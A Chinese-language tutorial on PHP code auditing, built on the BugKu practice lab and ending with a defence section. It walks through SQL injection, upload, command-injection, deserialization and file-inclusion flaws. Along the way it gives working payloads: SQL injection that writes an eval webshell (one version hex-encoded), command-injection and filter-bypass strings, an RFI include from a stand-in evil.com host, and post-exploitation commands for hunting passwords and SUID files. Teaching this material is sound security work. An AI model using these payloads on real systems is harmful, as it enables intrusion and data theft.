PHP代码审计实战:从SQL注入到反序列化漏洞的深度挖掘与防御

PHP代码审计实战:从SQL注入到反序列化漏洞的深度挖掘与防御 1. 项目概述一次经典的PHP代码审计实战最近在整理过去的实战笔记翻到了一个非常经典的靶场环境——“BugKu-new_php”。这个环境可以说是PHP代码审计入门和进阶的绝佳练手场它几乎囊括了早期Web应用中常见的、也是面试中高频出现的安全漏洞。无论是刚接触安全的新手还是想巩固基础的老鸟通过这个环境都能有新的收获。它不像那些故意构造的、漏洞点非常隐晦的CTF题而是模拟了一个真实、简陋但“五脏俱全”的早期PHP应用场景里面的问题都是开发者在缺乏安全意识时很容易写出来的代码。所以今天我就以这个“BugKu-new_php”为蓝本带大家完整走一遍代码审计的流程不仅告诉你漏洞在哪更重要的是拆解背后的成因、利用手法以及如何从根本上避免。无论你是想学习PHP安全、准备面试还是想提升自己的代码审计能力这篇近万字的实战复盘都值得你仔细阅读。2. 环境搭建与初步信息收集2.1 靶场环境快速部署“BugKu-new_php”通常是一个打包好的虚拟机镜像或者Docker容器。为了复现和调试方便我强烈建议在本地搭建。如果你手头有现成的PHP集成环境如PHPStudy、XAMPP那么部署就非常简单将源码解压到Web根目录例如www或htdocs下即可。我更倾向于使用Docker因为环境隔离性好一键启停。这里分享一个我常用的docker-compose.yml配置version: 3 services: web: image: php:5.6-apache # 注意很多经典漏洞在PHP5.6环境下更容易复现 container_name: bugku_php ports: - 8080:80 volumes: - ./src:/var/www/html # 将你的源码目录挂载进去 environment: - APACHE_RUN_USERwww-data - APACHE_RUN_GROUPwww-data使用docker-compose up -d启动后访问http://localhost:8080就能看到靶场界面。选择PHP 5.6版本是因为很多历史漏洞如某些特定版本的反序列化链、magic_quotes_gpc的影响在该环境下行为更典型。当然你也可以用PHP 7.x来测试现代WAF或版本差异下的利用情况。注意在真实渗透测试授权环境中你几乎不可能这样搭建目标环境。这里的本地部署纯粹是为了安全的学习、研究和测试。绝对禁止在未授权的情况下对任何线上系统进行测试。2.2 应用结构与功能梳理拿到源码后别急着看代码。先像普通用户一样浏览一遍整个网站点击所有能点的链接尝试所有表单功能。对“BugKu-new_php”来说它的功能通常比较简单可能包含用户登录、注册、文件上传、留言板、个人信息查看等模块。用浏览器开发者工具F12查看网络请求留意参数名如id,page,action、Cookie、以及是否有明显的框架标识比如URL中出现index.php?mhomecindexalogin可能是ThinkPHP。同时在服务器端我们需要快速梳理目录结构/bugku-new-php ├── index.php # 入口文件 ├── login.php # 登录逻辑 ├── register.php # 注册逻辑 ├── upload.php # 文件上传处理 ├── profile.php # 用户资料页 ├── includes/ # 包含文件目录 │ ├── config.php # 数据库配置重点 │ ├── db.php # 数据库操作类 │ └── common.php # 通用函数库 ├── uploads/ # 上传文件目录权限重点检查 └── templates/ # 前端模板文件这个结构非常典型。审计时includes/目录是重中之重尤其是config.php里面往往直接写着数据库用户名和密码。uploads/目录的权限设置是否可执行、是否可列目录直接关系到文件上传漏洞的危害程度。2.3 敏感信息泄露与配置审计信息收集的下一步就是寻找“低垂的果实”——敏感信息泄露。首先检查robots.txt、crossdomain.xml、sitemap.xml等文件。然后重点扫描备份文件。开发者经常会在服务器上留下.bak,.swp,.git,.svn等文件。对于PHP项目.bak文件如index.php.bak就是源码备份.git目录如果可访问可以用git-dumper等工具拖下整个版本库里面可能包含历史提交中的配置信息甚至硬编码的密码。使用工具如dirsearch,gobuster进行目录扫描是必要的但手动检查一些常见路径也很快/phpinfo.php- 如果存在会泄露大量服务器配置、路径、加载的扩展信息。/admin/,/backend/- 可能存在的未授权后台入口。/install/,/setup/- 安装目录安装后未删除可能导致重装。在“BugKu-new_php”中我通常会发现一个config.php.bak文件里面明晃晃地写着?php $db_host localhost; $db_user root; $db_pass bugku123; $db_name bugku_db; ?这就是典型的信息泄露漏洞。即使这个文件后来被删除了但如果服务器开启了目录列表并且.bak后缀未被Web服务器正确处理而是当做纯文本返回攻击者依然可以直接下载查看。3. 核心漏洞原理与手动审计方法论3.1 SQL注入漏洞的深度挖掘SQL注入是Web安全的“常青树”。在PHP中注入点通常出现在$_GET,$_POST,$_REQUEST等超全局变量未经充分过滤就直接拼接进SQL语句的地方。漏洞代码示例在profile.php中查看用户信息时代码可能这样写$id $_GET[id]; $sql SELECT * FROM users WHERE id $id; $result mysql_query($sql);这里$id直接拼接如果传入id1 UNION SELECT 1,2,3,database()-- -就会造成联合查询注入。手动审计技巧全局搜索SQL关键词在源码中搜索select,insert,update,delete,from,where等同时关注执行SQL的函数如mysql_query(),mysqli_query(),pg_query(),PDO::query()注意PDO::prepare和execute如果使用不当依然可能存在注入。追踪变量传递路径找到拼接点后逆向追踪传入的变量如$id来自哪里$_GET[‘id’]中间经过了哪些处理函数。重点检查这些处理函数是否真的能防御注入。例如addslashes()在magic_quotes_gpcOff且单字节字符集下能防住部分注入但遇到宽字节如GBK就可能被“宽字节注入”绕过。intval(),floatval()对于数字型参数是相对安全的。检查过滤函数逻辑缺陷有的自定义过滤函数可能存在逻辑问题。例如一个filter()函数可能只过滤一次select但攻击者可以用SELSELECTECT来绕过。关注二次注入这是高阶漏洞。数据从数据库取出后未经再次过滤就用于新的SQL查询。审计时需要关注数据入库和出库再使用的完整链条。实战中的利用对于上面的$id注入我们可以通过布尔盲注或时间盲注来获取数据。例如判断数据库名长度的Payloadid1 and length(database())5。如果页面返回正常说明库名长度为5。然后通过substr()函数逐位猜解。这个过程虽然繁琐但工具如sqlmap可以自动化。然而手动理解这个过程对于绕过WAF、编写tamper脚本至关重要。3.2 文件上传漏洞的攻防博弈文件上传功能是getshell的捷径。漏洞成因在于服务器仅检查了文件扩展名或者检查逻辑可以被绕过。漏洞代码示例upload.php中可能只检查了$_FILES[‘file’][‘name’]的后缀$filename $_FILES[file][name]; $ext strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $allow_ext array(jpg, png, gif); if(!in_array($ext, $allow_ext)){ die(File type not allowed!); } $save_path uploads/ . $filename; move_uploaded_file($_FILES[file][tmp_name], $save_path);这段代码的问题在于它只信任了客户端传来的文件名。攻击者可以上传一个名为shell.php.jpg的文件可能绕过前端检查。更致命的是如果服务器是Apache且未配置AllowOverride None等上传.htaccess文件可能覆盖解析规则。例如上传内容为AddType application/x-httpd-php .jpg的.htaccess文件之后所有.jpg文件都会被当做PHP执行。利用解析漏洞。例如古老的IIS6.0的*.asp;.jpg解析漏洞或者Nginx在某些错误配置下会将/upload/shell.jpg/xxx.php这样的路径/xxx.php部分解析为PHP而文件内容来自shell.jpg。审计与防御要点白名单校验使用扩展名白名单而非黑名单。黑名单永远列不全所有危险后缀如.phtml,.phps,.php5,.pht。文件内容检查检查文件的真实类型例如使用getimagesize()判断是否为真实图片或读取文件头Magic Bytes。但注意攻击者可以将PHP代码嵌入图片的EXIF信息中如果配合文件包含漏洞依然危险。重命名文件上传后使用随机字符串如md5(uniqid())重命名文件并强制添加白名单内的后缀。这样即使攻击者上传了恶意文件也无法知道或访问具体的文件名。设置目录权限将上传目录设置为不可执行脚本。在Nginx中可以通过location ~ ^/uploads/.*\.(php|php5)$ { deny all; }来禁止执行该目录下的PHP文件。在“BugKu-new_php”中的常见绕过我遇到过一种情况前端用JS检查了后缀后端用$ext end(explode(‘.’, $filename));来获取后缀。这里存在一个问题如果文件名是shell.php.末尾带点在Windows系统上explode(‘.’, ‘shell.php.’)得到的是[‘shell’, ‘php’, ‘’]end()取到的是空字符串’’可能意外绕过检查。或者文件名是shell.php.jpg但代码逻辑是取第一个点之后的后缀错误地取到了php.jpg而php.jpg不在黑名单内导致绕过。3.3 命令执行与代码注入漏洞这类漏洞危害极大直接导致服务器被完全控制。通常出现在调用了系统命令执行函数或动态代码执行函数的地方。漏洞代码示例命令执行在ping.php中用户输入被直接用于执行命令。$ip $_GET[ip]; system(ping -c 4 . $ip);攻击者输入ip127.0.0.1; cat /etc/passwd分号使得后续命令得以执行。代码注入使用eval(),assert(),preg_replace()的/e修饰符PHP5.5已废弃等。$code $_GET[code]; eval($code); // 极度危险或者在一些模板解析、缓存机制中将用户输入拼接进?php ... ?标签内然后包含执行。审计技巧全局搜索危险函数system(),exec(),shell_exec(),passthru(),popen(),proc_open(),eval(),assert(),create_function(),preg_replace()注意/e模式,call_user_func(),array_map()等。检查参数是否可控找到这些函数后向上回溯其参数来源。如果参数完全或部分来自用户输入且未经过滤或过滤不严就存在漏洞。注意“间接”注入例如$func $_GET[‘func’]; $func();这是动态函数调用如果$func是system且参数也可控就等同于命令执行。利用与绕过对于命令执行如果过滤了空格可以用${IFS}、$IFS$9、、、%09Tab等代替。如果过滤了某些关键词可以用拼接、通配符/???/c?t代替/bin/cat、编码、反引号、管道符等方式绕过。 对于eval()注入如果限制了输入必须为特定格式可以尝试闭合前后的代码注入新的PHP语句。例如原代码为eval(“echo ‘$input’;”);输入’; phpinfo(); //最终执行的代码变为echo ‘’ phpinfo(); //’;成功执行了phpinfo()。3.4 反序列化漏洞的原理与利用链构造这是PHP代码审计中的一个难点和重点也是近年来CTF和真实漏洞中的“明星”。漏洞根源在于unserialize()函数在反序列化一个对象时会自动调用该对象的__wakeup(),__destruct(),__toString()等魔术方法。如果这些魔术方法中的代码存在危险操作如文件操作、命令执行且对象属性可控就可能造成漏洞。漏洞代码示例假设有一个FileHandler类class FileHandler { public $filename; public $data; function __destruct() { file_put_contents($this-filename, $this-data); // 危险操作 } }在某个页面存在$obj unserialize($_GET[‘data’]);。 攻击者可以构造如下序列化字符串$exp new FileHandler(); $exp-filename ‘shell.php’; $exp-data ‘?php eval($_POST[“cmd”]);?’; echo serialize($exp); // 输出O:11:“FileHandler”:2:{s:8:“filename”;s:9:“shell.php”;s:4:“data”;s:33:“?php eval($_POST[“cmd”]);?”;}将输出作为data参数传递当反序列化后对象销毁时__destruct()被调用就会在服务器上写入一个Webshell。审计与利用链构造寻找反序列化入口点全局搜索unserialize()函数。入口点可能在$_COOKIE、$_POST的某个参数、缓存数据、会话$_SESSION数据中。分析可用的类POP链在源码中寻找所有定义了魔术方法__wakeup,__destruct,__toString,__call,__get,__set等的类。将这些类及其方法画成一个有向图寻找一条从“可控反序列化点”到“危险函数调用”的路径这就是所谓的“属性导向编程POP链”。利用条件攻击者构造的序列化字符串中的类必须在当前作用域内已经定义即被include或autoload了。否则反序列化时会出错。绕过__wakeup()在PHP某些版本如5.6.25以下7.0.10以下中如果序列化字符串中表示对象属性数量的数字大于实际属性数量__wakeup()方法会被跳过。这是CTF中常见的绕过技巧。在“BugKu-new_php”中的实践我审计的一个版本中存在一个Cache类其__destruct()方法会删除$this-cacheFile。同时存在一个Log类其__toString()方法会读取$this-logFile并输出。通过精心构造可以让Cache类的$cacheFile属性设置为一个Log对象。当Cache对象销毁时试图删除一个对象会触发该对象的__toString()方法从而读取任意文件如/etc/passwd。这就是一个简单的POP链。审计这类漏洞需要耐心和清晰的逻辑思维。4. 其他常见漏洞点与边缘Case4.1 跨站脚本XSS漏洞的持久化与非持久化XSS虽然常被认为是前端漏洞但其根源在于后端对用户输入的不信任和不当输出。漏洞代码示例在留言板功能中$message $_POST[message]; echo div . $message . /div; // 直接输出未过滤攻击者提交scriptalert(document.cookie)/script就会触发存储型XSS。审计与防御输出点审计搜索echo,print,printf,?等输出语句以及innerHTML,document.write等前端输出点。检查其输出的变量是否来自用户输入。上下文决定过滤策略HTML正文使用htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’)将,”,’,,转义。HTML属性同上必须使用ENT_QUOTES来转义单引号。JavaScript代码不能简单转义应将用户输入放在引号内并用json_encode()进行编码。URL使用urlencode()或rawurlencode()。内容安全策略CSP这是防御XSS的纵深措施。通过HTTP头Content-Security-Policy来限制页面可以加载和执行哪些资源能有效缓解XSS的危害。4.2 不安全的会话管理与逻辑漏洞这类漏洞往往源于业务逻辑设计缺陷。会话固定登录后Session ID不变。攻击者先获取一个Session ID诱导用户用这个ID登录之后攻击者就能接管该会话。权限跨越水平越权修改profile.php?id123中的id参数为124就能查看或修改其他用户的资料。后端必须校验当前登录用户ID与请求的资源ID是否匹配。垂直越权普通用户通过直接访问/admin/delete_user.php等管理员URL来执行特权操作。后端每个特权操作前必须校验用户角色。密码重置漏洞重置密码时仅通过用户可控的参数如邮箱、手机号来标识用户而未与当前登录会话或旧密码进行强绑定。例如重置密码的链接为reset.php?emailuserexample.com攻击者修改email参数即可重置他人密码。竞争条件在支付、兑换优惠券等场景如果“检查库存”和“扣减库存”不是原子操作就可能被并发请求绕过导致超卖或重复兑换。审计方法跟踪核心业务流登录、支付、密码修改、资料更新绘制流程图思考每个环节是否缺少必要的校验。关注所有接收id,user_id,uid等参数的地方检查后端是否进行了归属权验证。检查Cookie中的身份标识如useradmin是否容易被篡改是否使用了不可预测的、随机的Session ID。4.3 文件包含漏洞LFI/RFI文件包含漏洞允许攻击者包含并执行服务器本地LFI或远程RFI的文件。在php.ini中allow_url_include为On时RFI才有可能。漏洞代码示例$page $_GET[page]; include(‘./templates/’ . $page . ‘.php’);攻击者传入page../../../etc/passwd%00在PHP5.3之前%00空字节可以截断后面的.php可能读取系统文件。如果allow_url_includeOn传入pagehttp://evil.com/shell.txt则会包含远程的Webshell。审计与利用搜索include,include_once,require,require_once检查文件名是否部分或全部可控。利用LFI读取敏感文件/etc/passwd,~/.bash_history, 应用源码index.php日志文件/var/log/apache2/access.log通过污染User-Agent等字段将PHP代码写入日志再包含日志文件来执行代码。利用PHP封装协议php://filter/convert.base64-encode/resourceindex.php可以以Base64编码形式读取源码绕过某些显示限制。php://input可以执行POST过去的代码需allow_url_includeOn。5. 漏洞利用实战与深度渗透模拟5.1 从注入到Getshell的完整路径假设我们在profile.php找到了一个数字型SQL注入点并且是DBA权限。我们的目标不再是单纯拖库而是获取一个Webshell。信息收集首先利用注入点获取数据库版本、当前用户、数据库路径等信息。id1 union select 1, version(), user(), datadir, 5确认是否是root用户以及secure_file_priv变量的值。如果secure_file_priv为空或指向一个可写目录就可以进行文件写入。写入Webshell利用SELECT ... INTO OUTFILE或DUMPFILE语句。id1 union select 1, ‘?php eval($_POST[“cmd”]);?’, 3 into outfile ‘/var/www/html/uploads/shell.php’这里需要知道网站的绝对路径可以通过报错、phpinfo、或读取配置文件获得并且MySQL用户有FILE权限目标目录有写权限。绕过写入限制如果单引号被过滤可以用十六进制编码。id1 union select 1, 0x3c3f70687020406576616c28245f504f53545b22636d64225d293b203f3e, 3 into outfile ‘/var/www/html/shell.php’字符串?php eval($_POST[“cmd”]);?被转换成了十六进制。5.2 组合漏洞利用文件上传文件包含这是非常经典的组合拳。假设网站有一个严格的白名单图片上传功能我们无法直接上传.php文件。但同时存在一个本地文件包含漏洞LFI比如index.php?filenews会包含news.php。我们上传一个内容为?php phpinfo();?的图片文件shell.jpg。文件头是合法的图片数据如GIF89a后面跟上PHP代码。或者将PHP代码插入图片的EXIF信息中。上传成功后我们得到文件路径例如/uploads/2023/10/abcdefg.jpg。利用文件包含漏洞去包含这个图片index.php?file../../../uploads/2023/10/abcdefg.jpg。如果PHP配置中allow_url_include是关闭的但包含本地文件时服务器仍然会解析文件中的PHP代码只要文件内容以?php开头并且被当做PHP文件解析。在某些配置下如Apache的mod_php未做特殊处理包含非.php后缀的文件也会被解析其中的PHP代码。如果包含后不解析可以尝试结合日志包含、PHP输入流(php://input)或利用.htaccess文件进行解析。5.3 权限维持与内网渗透初步在获得一个Webshell如蚁剑、冰蝎连接后工作并未结束。信息收集通过Webshell执行命令收集服务器信息uname -a系统版本cat /etc/passwd用户列表ps aux进程列表看有无数据库、Redis等服务netstat -antp网络连接看内网其他IP和端口ifconfig或ip addr内网IP段find / -name “*.php” -type f | xargs grep -l “password” 2/dev/null寻找配置文件中的密码权限提升尝试提权到root。查找SUID文件find / -perm -us -type f 2/dev/null查看内核版本搜索公开漏洞uname -r检查/etc/crontab看是否有可以修改的定时任务。检查数据库是否以root运行能否通过MySQL UDF提权。内网探测如果服务器在内网可以将其作为跳板。使用Webshell上传一个轻量级的端口扫描工具如nmap的静态编译版或直接用/bin/bash写简单的扫描脚本。探测内网常见网段如192.168.0.0/24,10.0.0.0/8中存活的主机和开放端口22-SSH, 3306-MySQL, 6379-Redis, 8080-Web服务等。尝试弱口令爆破必须在授权范围内进行。重要声明以上所有关于权限维持和内网渗透的描述仅限于在完全隔离的、自己搭建的靶场环境中进行学习和研究。在真实环境中未经授权的渗透测试是违法行为。安全从业者的职责是帮助修复漏洞而非利用漏洞进行非法活动。6. 防御方案与安全开发建议6.1 代码层防御治本使用预处理语句参数化查询防御SQL注入这是唯一从根本上解决SQL注入的方法。PDO示例$stmt $pdo-prepare(“SELECT * FROM users WHERE id :id AND username :name”); $stmt-execute([‘:id’ $id, ‘:name’ $name]); $results $stmt-fetchAll();MySQLi示例$stmt $mysqli-prepare(“SELECT * FROM users WHERE id ?”); $stmt-bind_param(“i”, $id); // “i” 表示整数 $stmt-execute();严格的输入验证与输出编码白名单验证对于类型、范围、格式已知的数据如性别、状态码使用白名单。类型转换对于数字型参数强制使用intval(),floatval()。输出编码根据输出位置HTML、JS、URL选择合适的编码函数。禁用危险函数与配置安全参数在php.ini中设置disable_functions exec,system,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,... allow_url_fopen Off allow_url_include Off # 必须关闭 expose_php Off # 隐藏PHP版本信息使用open_basedir限制PHP可访问的目录范围。安全的文件上传使用白名单验证文件扩展名和MIME类型。上传后对文件重命名如使用随机UUID。将文件存储在Web根目录之外通过脚本如download.php?fileuuid来读取和发送文件。或者将上传目录配置为禁止执行脚本。安全的会话管理登录后重新生成Session IDsession_regenerate_id(true)。设置Cookie的HttpOnly和Secure属性。会话超时机制。6.2 架构与运维层防御纵深防御WAFWeb应用防火墙部署WAF可以拦截大量通用型攻击Payload如SQL注入、XSS、命令执行等。但WAF不是万能的可以被绕过不能替代安全的代码。定期更新与漏洞扫描及时更新PHP版本、Web服务器、数据库以及所有第三方库/框架。使用自动化漏洞扫描工具如OWASP ZAP、Nessus对应用进行定期扫描。最小权限原则数据库连接使用最低权限的用户只授予其必要数据库的必要操作权限。运行Web服务的系统用户如www-data,nginx不应具有sudo权限或访问敏感系统文件的能力。日志与监控开启详细的访问日志和错误日志并集中管理。设置告警规则对异常访问模式如大量404错误、频繁的登录失败、特定的攻击Payload进行告警。6.3 安全开发生命周期SDL将安全融入开发流程需求阶段确定安全需求进行威胁建模。设计阶段进行安全架构设计。编码阶段使用安全的编码规范进行代码审计。测试阶段进行渗透测试、漏洞扫描。部署与运维阶段安全配置、漏洞监控与应急响应。通过“BugKu-new_php”这样一个浓缩的靶场我们几乎遍历了Web安全中常见的PHP漏洞类型。从信息收集、手动审计到漏洞利用和防御每一个环节都需要耐心、细心和扎实的基础知识。代码审计就像侦探破案需要顺着数据的流向在复杂的逻辑中寻找那个“信任了不该信任的数据”的瞬间。希望这篇超详细的复盘能帮你建立起PHP代码审计的系统性方法。记住在安全的世界里永远保持怀疑永远不要信任任何来自用户的数据。